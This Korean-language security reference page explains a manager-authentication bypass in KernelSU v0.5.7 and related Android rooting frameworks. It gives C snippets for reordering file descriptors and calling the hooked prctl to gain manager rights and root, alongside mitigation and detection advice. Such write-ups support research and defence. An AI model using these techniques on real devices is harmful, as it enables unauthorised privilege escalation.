Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

KernelSU, APatch, SKRoot ๋ฐ Magisk์™€ ๊ฐ™์€ ๋ฃจํŒ… ํ”„๋ ˆ์ž„์›Œํฌ๋Š” Linux/Android ์ปค๋„์„ ์ž์ฃผ ํŒจ์น˜ํ•˜๊ณ  ํ›„ํ‚น๋œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ†ตํ•ด ๋น„ํŠน๊ถŒ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„ โ€œ๊ด€๋ฆฌ์žโ€ ์•ฑ์— ํŠน๊ถŒ ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž ์ธ์ฆ ๋‹จ๊ณ„์— ๊ฒฐํ•จ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ๋ชจ๋“  ๋กœ์ปฌ ์•ฑ์ด ์ด ์ฑ„๋„์— ์ ‘๊ทผํ•˜์—ฌ ์ด๋ฏธ ๋ฃจํŒ…๋œ ์žฅ์น˜์—์„œ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ํŽ˜์ด์ง€๋Š” ๊ณต๊ฐœ ์—ฐ๊ตฌ์—์„œ ๋ฐœ๊ฒฌ๋œ ๊ธฐ์ˆ ๊ณผ ํ•จ์ •์„ ์ถ”์ƒํ™”ํ•˜์—ฌ(ํŠนํžˆ Zimperium์˜ KernelSU v0.5.7 ๋ถ„์„) ๋ ˆ๋“œ ํŒ€๊ณผ ๋ธ”๋ฃจ ํŒ€์ด ๊ณต๊ฒฉ ํ‘œ๋ฉด, ์ทจ์•ฝ์  ์›์‹œ ๋ฐ ๊ฐ•๋ ฅํ•œ ์™„ํ™” ๋ฐฉ๋ฒ•์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค.


์•„ํ‚คํ…์ฒ˜ ํŒจํ„ด: ์‹œ์Šคํ…œ ํ˜ธ์ถœ ํ›„ํ‚น๋œ ๊ด€๋ฆฌ์ž ์ฑ„๋„

  • ์ปค๋„ ๋ชจ๋“ˆ/ํŒจ์น˜๊ฐ€ ์‹œ์Šคํ…œ ํ˜ธ์ถœ(์ผ๋ฐ˜์ ์œผ๋กœ prctl)์„ ํ›„ํ‚นํ•˜์—ฌ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„์—์„œ โ€œ๋ช…๋ นโ€œ์„ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค.
  • ํ”„๋กœํ† ์ฝœ์€ ์ผ๋ฐ˜์ ์œผ๋กœ: magic_value, command_id, arg_ptr/len โ€ฆ
  • ์‚ฌ์šฉ์ž ๊ณต๊ฐ„ ๊ด€๋ฆฌ์ž ์•ฑ์ด ๋จผ์ € ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: CMD_BECOME_MANAGER). ์ปค๋„์ด ํ˜ธ์ถœ์ž๋ฅผ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ด€๋ฆฌ์ž๋ผ๊ณ  ํ‘œ์‹œํ•˜๋ฉด ํŠน๊ถŒ ๋ช…๋ น์ด ์ˆ˜๋ฝ๋ฉ๋‹ˆ๋‹ค:
  • ํ˜ธ์ถœ์ž์—๊ฒŒ ๋ฃจํŠธ ๊ถŒํ•œ ๋ถ€์—ฌ(์˜ˆ: CMD_GRANT_ROOT)
  • su์— ๋Œ€ํ•œ ํ—ˆ์šฉ ๋ชฉ๋ก/๊ฑฐ๋ถ€ ๋ชฉ๋ก ๊ด€๋ฆฌ
  • SELinux ์ •์ฑ… ์กฐ์ •(์˜ˆ: CMD_SET_SEPOLICY)
  • ๋ฒ„์ „/๊ตฌ์„ฑ ์ฟผ๋ฆฌ
  • ๋ชจ๋“  ์•ฑ์ด ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ด€๋ฆฌ์ž ์ธ์ฆ์˜ ์ •ํ™•์„ฑ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ (KernelSU ์„ค๊ณ„):

  • ํ›„ํ‚น๋œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ: prctl
  • KernelSU ํ•ธ๋“ค๋Ÿฌ๋กœ ์ „ํ™˜ํ•˜๊ธฐ ์œ„ํ•œ ๋งค์ง ๊ฐ’: 0xDEADBEEF
  • ๋ช…๋ น์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT ๋“ฑ.

KernelSU v0.5.7 ์ธ์ฆ ํ๋ฆ„ (๊ตฌํ˜„๋œ ๋Œ€๋กœ)

์‚ฌ์šฉ์ž ๊ณต๊ฐ„์ด prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, โ€ฆ)๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด KernelSU๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:

  1. ๊ฒฝ๋กœ ์ ‘๋‘์‚ฌ ํ™•์ธ
  • ์ œ๊ณต๋œ ๊ฒฝ๋กœ๋Š” ํ˜ธ์ถœ์ž UID์— ๋Œ€ํ•œ ์˜ˆ์ƒ ์ ‘๋‘์‚ฌ๋กœ ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ: /data/data/ ๋˜๋Š” /data/user//.
  • ์ฐธ์กฐ: core_hook.c (v0.5.7) ๊ฒฝ๋กœ ์ ‘๋‘์‚ฌ ๋…ผ๋ฆฌ.
  1. ์†Œ์œ ๊ถŒ ํ™•์ธ
  • ๊ฒฝ๋กœ๋Š” ํ˜ธ์ถœ์ž UID๊ฐ€ ์†Œ์œ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ์ฐธ์กฐ: core_hook.c (v0.5.7) ์†Œ์œ ๊ถŒ ๋…ผ๋ฆฌ.
  1. FD ํ…Œ์ด๋ธ” ์Šค์บ”์„ ํ†ตํ•œ APK ์„œ๋ช… ํ™•์ธ
  • ํ˜ธ์ถœ ํ”„๋กœ์„ธ์Šค์˜ ์—ด๋ฆฐ ํŒŒ์ผ ์„ค๋ช…์ž(FD)๋ฅผ ๋ฐ˜๋ณตํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒฝ๋กœ๊ฐ€ /data/app/*/base.apk์™€ ์ผ์น˜ํ•˜๋Š” ์ฒซ ๋ฒˆ์งธ ํŒŒ์ผ์„ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
  • APK v2 ์„œ๋ช…์„ ๊ตฌ๋ฌธ ๋ถ„์„ํ•˜๊ณ  ๊ณต์‹ ๊ด€๋ฆฌ์ž ์ธ์ฆ์„œ์™€ ๋น„๊ตํ•˜์—ฌ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ์ฐธ์กฐ: manager.c (FD ๋ฐ˜๋ณต), apk_sign.c (APK v2 ํ™•์ธ).

๋ชจ๋“  ๊ฒ€์‚ฌ๊ฐ€ ํ†ต๊ณผํ•˜๋ฉด ์ปค๋„์€ ๊ด€๋ฆฌ์ž์˜ UID๋ฅผ ์ผ์‹œ์ ์œผ๋กœ ์บ์‹œํ•˜๊ณ  ํ•ด๋‹น UID์—์„œ ํŠน๊ถŒ ๋ช…๋ น์„ ์ˆ˜๋ฝํ•ฉ๋‹ˆ๋‹ค.


์ทจ์•ฝ์  ํด๋ž˜์Šค: FD ๋ฐ˜๋ณต์—์„œ โ€œ์ฒซ ๋ฒˆ์งธ ์ผ์น˜ํ•˜๋Š” APKโ€œ๋ฅผ ์‹ ๋ขฐํ•˜๊ธฐ

์„œ๋ช… ํ™•์ธ์ด ํ”„๋กœ์„ธ์Šค FD ํ…Œ์ด๋ธ”์—์„œ ๋ฐœ๊ฒฌ๋œ โ€œ์ฒซ ๋ฒˆ์งธ ์ผ์น˜ํ•˜๋Š” /data/app/*/base.apkโ€œ์— ๋ฐ”์ธ๋”ฉ๋˜๋ฉด, ์‹ค์ œ๋กœ ํ˜ธ์ถœ์ž์˜ ํŒจํ‚ค์ง€๋ฅผ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ํ•ฉ๋ฒ•์ ์œผ๋กœ ์„œ๋ช…๋œ APK(์‹ค์ œ ๊ด€๋ฆฌ์ž)๋ฅผ ๋ฏธ๋ฆฌ ๋ฐฐ์น˜ํ•˜์—ฌ ์ž์‹ ์˜ base.apk๋ณด๋‹ค FD ๋ชฉ๋ก์—์„œ ๋” ์ผ์ฐ ๋‚˜ํƒ€๋‚˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฐ„์ ‘ ์‹ ๋ขฐ๋Š” ๋น„ํŠน๊ถŒ ์•ฑ์ด ๊ด€๋ฆฌ์ž์˜ ์„œ๋ช… ํ‚ค๋ฅผ ์†Œ์œ ํ•˜์ง€ ์•Š๊ณ ๋„ ๊ด€๋ฆฌ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์•…์šฉ๋˜๋Š” ์ฃผ์š” ์†์„ฑ:

  • FD ์Šค์บ”์€ ํ˜ธ์ถœ์ž์˜ ํŒจํ‚ค์ง€ ID์— ๋ฐ”์ธ๋”ฉ๋˜์ง€ ์•Š์œผ๋ฉฐ, ๊ฒฝ๋กœ ๋ฌธ์ž์—ด๋งŒ ํŒจํ„ด ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค.
  • open()์€ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ฐ€์žฅ ๋‚ฎ์€ FD๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋‚ฎ์€ ๋ฒˆํ˜ธ์˜ FD๋ฅผ ๋จผ์ € ๋‹ซ์Œ์œผ๋กœ์จ ์ˆœ์„œ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ•„ํ„ฐ๋Š” ๊ฒฝ๋กœ๊ฐ€ /data/app/*/base.apk์™€ ์ผ์น˜ํ•˜๋Š”์ง€๋งŒ ํ™•์ธํ•˜๋ฉฐ, ํ˜ธ์ถœ์ž์˜ ์„ค์น˜๋œ ํŒจํ‚ค์ง€์™€ ์ผ์น˜ํ•˜๋Š”์ง€๋Š” ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ์ „์ œ ์กฐ๊ฑด

  • ์žฅ์น˜๋Š” ์ด๋ฏธ ์ทจ์•ฝํ•œ ๋ฃจํŒ… ํ”„๋ ˆ์ž„์›Œํฌ(์˜ˆ: KernelSU v0.5.7)๋กœ ๋ฃจํŒ…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์ž๋Š” ๋กœ์ปฌ์—์„œ ์ž„์˜์˜ ๋น„ํŠน๊ถŒ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์•ˆ๋“œ๋กœ์ด๋“œ ์•ฑ ํ”„๋กœ์„ธ์Šค).
  • ์‹ค์ œ ๊ด€๋ฆฌ์ž๊ฐ€ ์•„์ง ์ธ์ฆ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค(์˜ˆ: ์žฌ๋ถ€ํŒ… ์งํ›„). ์ผ๋ถ€ ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์„ฑ๊ณต ํ›„ ๊ด€๋ฆฌ์ž UID๋ฅผ ์บ์‹œํ•ฉ๋‹ˆ๋‹ค; ๊ฒฝ์Ÿ์—์„œ ์ด๊ฒจ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์  ๊ฐœ์š” (KernelSU v0.5.7)

๊ณ ์ˆ˜์ค€ ๋‹จ๊ณ„:

  1. ์ ‘๋‘์‚ฌ ๋ฐ ์†Œ์œ ๊ถŒ ๊ฒ€์‚ฌ๋ฅผ ๋งŒ์กฑ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์ž์‹ ์˜ ์•ฑ ๋ฐ์ดํ„ฐ ๋””๋ ‰ํ† ๋ฆฌ์— ๋Œ€ํ•œ ์œ ํšจํ•œ ๊ฒฝ๋กœ๋ฅผ ๊ตฌ์ถ•ํ•ฉ๋‹ˆ๋‹ค.
  2. ์ง„์งœ KernelSU ๊ด€๋ฆฌ์ž base.apk๊ฐ€ ์ž์‹ ์˜ base.apk๋ณด๋‹ค ๋‚ฎ์€ ๋ฒˆํ˜ธ์˜ FD์—์„œ ์—ด๋ ค ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  3. prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, โ€ฆ)๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•ฉ๋‹ˆ๋‹ค.
  4. CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY์™€ ๊ฐ™์€ ํŠน๊ถŒ ๋ช…๋ น์„ ๋ฐœํ–‰ํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์„ ์ง€์†ํ•ฉ๋‹ˆ๋‹ค.

2๋‹จ๊ณ„์— ๋Œ€ํ•œ ์‹ค์šฉ์ ์ธ ๋ฉ”๋ชจ (FD ์ˆœ์„œ):

  • /proc/self/fd ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ†ตํ•ด ์ž์‹ ์˜ /data/app/*/base.apk์— ๋Œ€ํ•œ ํ”„๋กœ์„ธ์Šค์˜ FD๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.
  • ๋‚ฎ์€ FD(์˜ˆ: stdin, fd 0)๋ฅผ ๋‹ซ๊ณ  ํ•ฉ๋ฒ•์ ์ธ ๊ด€๋ฆฌ์ž APK๋ฅผ ๋จผ์ € ์—ด์–ด fd 0(๋˜๋Š” ์ž์‹ ์˜ base.apk fd๋ณด๋‹ค ๋‚ฎ์€ ์ธ๋ฑ์Šค)์„ ์ฐจ์ง€ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ํ•ฉ๋ฒ•์ ์ธ ๊ด€๋ฆฌ์ž APK๋ฅผ ์ž์‹ ์˜ ์•ฑ๊ณผ ํ•จ๊ป˜ ๋ฒˆ๋“ค๋กœ ๋ฌถ์–ด ๊ฒฝ๋กœ๊ฐ€ ์ปค๋„์˜ ๋‹จ์ˆœ ํ•„ํ„ฐ๋ฅผ ๋งŒ์กฑํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, /data/app/*/base.apk์™€ ์ผ์น˜ํ•˜๋Š” ํ•˜์œ„ ๊ฒฝ๋กœ์— ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ ์ฝ”๋“œ ์Šค๋‹ˆํŽซ (Android/Linux, ์„ค๋ช…์šฉ๋งŒ):

์—ด๋ฆฐ FD๋ฅผ ์—ด๊ฑฐํ•˜์—ฌ base.apk ํ•ญ๋ชฉ์„ ์ฐพ๊ธฐ:

#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}

๋‚ฎ์€ ๋ฒˆํ˜ธ์˜ FD๊ฐ€ ์ •๋‹นํ•œ ๋งค๋‹ˆ์ € APK๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค:

#include <fcntl.h>
#include <unistd.h>

void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}

๋งค๋‹ˆ์ € ์ธ์ฆ์„ prctl ํ›…์„ ํ†ตํ•ด:

#include <sys/prctl.h>
#include <stdint.h>

#define KSU_MAGIC          0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100  // Placeholder; command IDs are framework-specific

static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}

int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}

์„ฑ๊ณต ํ›„, ๊ถŒํ•œ ์žˆ๋Š” ๋ช…๋ น์–ด (์˜ˆ์‹œ):

  • CMD_GRANT_ROOT: ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ฃจํŠธ๋กœ ์Šน๊ฒฉ
  • CMD_ALLOW_SU: ์ง€์†์ ์ธ su๋ฅผ ์œ„ํ•ด ํŒจํ‚ค์ง€/UID๋ฅผ ํ—ˆ์šฉ ๋ชฉ๋ก์— ์ถ”๊ฐ€
  • CMD_SET_SEPOLICY: ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ ์ง€์›ํ•˜๋Š” ๋Œ€๋กœ SELinux ์ •์ฑ… ์กฐ์ •

๊ฒฝ์Ÿ/์ง€์†์„ฑ ํŒ:

  • AndroidManifest์— BOOT_COMPLETED ์ˆ˜์‹ ๊ธฐ๋ฅผ ๋“ฑ๋กํ•˜์—ฌ ์žฌ๋ถ€ํŒ… ํ›„ ์กฐ๊ธฐ์— ์‹œ์ž‘ํ•˜๊ณ  ์‹ค์ œ ๊ด€๋ฆฌ์ž ์ด์ „์— ์ธ์ฆ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ ์™„ํ™” ์ง€์นจ

ํ”„๋ ˆ์ž„์›Œํฌ ๊ฐœ๋ฐœ์ž๋ฅผ ์œ„ํ•ด:

  • ์ธ์ฆ์„ ํ˜ธ์ถœ์ž์˜ ํŒจํ‚ค์ง€/UID์— ๋ฐ”์ธ๋”ฉํ•˜๊ณ  ์ž„์˜์˜ FD์— ๋ฐ”์ธ๋”ฉํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค:
  • UID์—์„œ ํ˜ธ์ถœ์ž์˜ ํŒจํ‚ค์ง€๋ฅผ ํ•ด๊ฒฐํ•˜๊ณ  FD๋ฅผ ์Šค์บ”ํ•˜๋Š” ๋Œ€์‹  ์„ค์น˜๋œ ํŒจํ‚ค์ง€์˜ ์„œ๋ช…(ํŒจํ‚ค์ง€ ๊ด€๋ฆฌ์ž ํ†ตํ•ด)๊ณผ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.
  • ์ปค๋„ ์ „์šฉ์ธ ๊ฒฝ์šฐ, ์•ˆ์ •์ ์ธ ํ˜ธ์ถœ์ž ์‹ ์›(์ž‘์—… ์ž๊ฒฉ ์ฆ๋ช…)์„ ์‚ฌ์šฉํ•˜๊ณ  ํ”„๋กœ์„ธ์Šค FD๊ฐ€ ์•„๋‹Œ init/userspace ๋„์šฐ๋ฏธ๊ฐ€ ๊ด€๋ฆฌํ•˜๋Š” ์•ˆ์ •์ ์ธ ์ง„์‹ค์˜ ์ถœ์ฒ˜์—์„œ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.
  • ์‹ ์›์œผ๋กœ์„œ ๊ฒฝ๋กœ ์ ‘๋‘์‚ฌ ๊ฒ€์‚ฌ๋ฅผ ํ”ผํ•˜์‹ญ์‹œ์˜ค; ํ˜ธ์ถœ์ž๊ฐ€ ์‰ฝ๊ฒŒ ๋งŒ์กฑ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ฑ„๋„์„ ํ†ตํ•œ ๋…ผ์Šค ๊ธฐ๋ฐ˜ ์ฑŒ๋ฆฐ์ง€-์‘๋‹ต์„ ์‚ฌ์šฉํ•˜๊ณ  ๋ถ€ํŒ… ์‹œ ๋˜๋Š” ์ฃผ์š” ์ด๋ฒคํŠธ์—์„œ ์บ์‹œ๋œ ๊ด€๋ฆฌ์ž ์‹ ์›์„ ์ง€์›๋‹ˆ๋‹ค.
  • ๊ฐ€๋Šฅํ•  ๊ฒฝ์šฐ ์ผ๋ฐ˜ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ๊ณผ๋ถ€ํ•˜ํ•˜๋Š” ๋Œ€์‹  ๋ฐ”์ธ๋” ๊ธฐ๋ฐ˜ ์ธ์ฆ IPC๋ฅผ ๊ณ ๋ คํ•˜์‹ญ์‹œ์˜ค.

์ˆ˜๋น„์ˆ˜/๋ธ”๋ฃจ ํŒ€์„ ์œ„ํ•ด:

  • ๋ฃจํŒ… ํ”„๋ ˆ์ž„์›Œํฌ ๋ฐ ๊ด€๋ฆฌ์ž ํ”„๋กœ์„ธ์Šค์˜ ์กด์žฌ๋ฅผ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค; ์ปค๋„ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์˜์‹ฌ์Šค๋Ÿฌ์šด ๋งค์ง ์ƒ์ˆ˜(์˜ˆ: 0xDEADBEEF)๊ฐ€ ์žˆ๋Š” prctl ํ˜ธ์ถœ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค.
  • ๊ด€๋ฆฌ๋˜๋Š” ํ”Œ๋ฆฟ์—์„œ ๋ถ€ํŒ… ํ›„ ๋น ๋ฅด๊ฒŒ ๊ถŒํ•œ ์žˆ๋Š” ๊ด€๋ฆฌ์ž ๋ช…๋ น์„ ์‹œ๋„ํ•˜๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ํŒจํ‚ค์ง€์˜ ๋ถ€ํŒ… ์ˆ˜์‹ ๊ธฐ๋ฅผ ์ฐจ๋‹จํ•˜๊ฑฐ๋‚˜ ๊ฒฝ๊ณ ํ•ฉ๋‹ˆ๋‹ค.
  • ์žฅ์น˜๊ฐ€ ํŒจ์น˜๋œ ํ”„๋ ˆ์ž„์›Œํฌ ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค; ์—…๋ฐ์ดํŠธ ์‹œ ์บ์‹œ๋œ ๊ด€๋ฆฌ์ž ID๋ฅผ ๋ฌดํšจํ™”ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์˜ ํ•œ๊ณ„:

  • ์ด๋ฏธ ์ทจ์•ฝํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ๋ฃจํŒ…๋œ ์žฅ์น˜์—๋งŒ ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค.
  • ์ผ๋ฐ˜์ ์œผ๋กœ ํ•ฉ๋ฒ•์ ์ธ ๊ด€๋ฆฌ์ž๊ฐ€ ์ธ์ฆ๋˜๊ธฐ ์ „์— ์žฌ๋ถ€ํŒ…/๊ฒฝ์Ÿ ์ฐฝ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค(์ผ๋ถ€ ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ๊ด€๋ฆฌ์ž UID๋ฅผ ์žฌ์„ค์ •ํ•  ๋•Œ๊นŒ์ง€ ์บ์‹œํ•ฉ๋‹ˆ๋‹ค).

ํ”„๋ ˆ์ž„์›Œํฌ ๊ฐ„ ๊ด€๋ จ ๋…ธํŠธ

  • ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธฐ๋ฐ˜ ์ธ์ฆ(์˜ˆ: ์—ญ์‚ฌ์  APatch/SKRoot ๋นŒ๋“œ)์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ถ”์ธก ๊ฐ€๋Šฅํ•˜๊ฑฐ๋‚˜ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ฐ€๋Šฅํ•˜๊ฑฐ๋‚˜ ๊ฒ€์ฆ์ด ๋ฒ„๊ทธ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํŒจํ‚ค์ง€/์„œ๋ช… ๊ธฐ๋ฐ˜ ์ธ์ฆ(์˜ˆ: KernelSU)์€ ์›์น™์ ์œผ๋กœ ๋” ๊ฐ•ํ•˜์ง€๋งŒ ์‹ค์ œ ํ˜ธ์ถœ์ž์— ๋ฐ”์ธ๋”ฉํ•ด์•ผ ํ•˜๋ฉฐ FD ์Šค์บ”๊ณผ ๊ฐ™์€ ๊ฐ„์ ‘์ ์ธ ์ธ๊ณต๋ฌผ์— ๋ฐ”์ธ๋”ฉํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.
  • Magisk: CVE-2024-48336 (MagiskEoP)๋Š” ์„ฑ์ˆ™ํ•œ ์ƒํƒœ๊ณ„์กฐ์ฐจ๋„ ๊ด€๋ฆฌ์ž ์ปจํ…์ŠคํŠธ ๋‚ด์—์„œ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์ง€๋Š” ์‹ ์› ์Šคํ‘ธํ•‘์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ